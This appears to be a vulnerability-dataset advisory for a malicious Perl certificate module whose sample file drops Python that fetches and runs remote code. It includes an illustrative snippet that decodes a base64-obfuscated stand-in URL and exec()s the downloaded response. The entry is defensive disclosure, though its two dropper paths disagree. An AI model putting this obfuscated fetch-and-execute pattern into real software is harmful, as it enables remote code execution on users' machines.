CVE-2026-97230
Malicious SelfCertificate runs Python from URL, enables code execution.
- CVSS 9.8
- CWE-506
- Design Defects
- Local
IO::Socket::SSL::SelfCertificate versions 1.00 for Perl contains malware which executes Python code from an obfuscated URL. The generate_certificate runs a Python script saved as a certificate file. The pyhton script attempts to retrieve code from a hardcoded http URL that is obfuscated with base64 encoding and run the response body directly. The impact is that arbitrary code can be invoked as the user, without a dropped script being saved on the affected host. The releases have no test scripts nor build hooks. The intention may have been to trigger the payload after installation. The dropper script is in lib/Crypt/SelfCertificate/sample/cert.pem. This is similar to CVE-2026-95831 for the module Crypt::SelfCertificate. The SHA-256 digests of the files are ba24ee8ec3b7f47f65bed62e16fb413ace50653cf44bd8ea90914390922831e0 IO-Socket-SSL-SelfCertificate-1.00.tar.gz 821d38830e5eb8607738421c25ac25f59fff02a6ab67daa32fbd020429454dac IO-Socket-SSL-SelfCertificate-1.00/lib/IO/Socket/SSL/SelfCertificate/sample/cert.pem d483cb7b23b7271cb11cf242bff4a2e1c02df0b9525eb0429abeea8961c399d5 IO-Socket-SSL-SelfCertificate-1.00-upload.tar.gz
- CWE
- CWE-506
- CVSS base score
- 9.8
- Published
- 2026-09-24
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Build/Package/Merge
- Code defect classification
- Extraneous Functionality
- Category
- Design Defects
- Subcategory
- Vulnerable and Outdated Components
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- IO::Socket::SSL::SelfCertificate
- Fixed by upgrading
- Yes
Solution
Upgrade to IO::Socket::SSL::SelfCertificate v1.01 (or any later released version that removes the malicious sample/cert.pem).
Vulnerable code sample
import base64
import urllib.request
def load_remote_certificate():
# VULNERABLE: exec() of code fetched from untrusted URL
b64_url = b'aHR0cDovL2V4YW1wbGUuY29tL3BheWxvYWQucHk=' # "http://example.com/payload.py"
url = base64.b64decode(b64_url).decode('utf-8')
response = urllib.request.urlopen(url)
code = response.read().decode('utf-8')
exec(code) # executes remote codePatched code sample
import base64
import urllib.request
def load_remote_certificate():
# FIX: remove exec of remote code; load only static data
b64_url = b'aHR0cDovL2V4YW1wbGUuY29tL3BheWxvYWQucHk=' # "http://example.com/payload.py"
url = base64.b64decode(b64_url).decode('utf-8')
response = urllib.request.urlopen(url)
data = response.read().decode('utf-8')
# Process data safely without executing it
return dataCite this entry
@misc{vaitp:cve202697230,
title = {{Malicious SelfCertificate runs Python from URL, enables code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-97230},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-97230/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
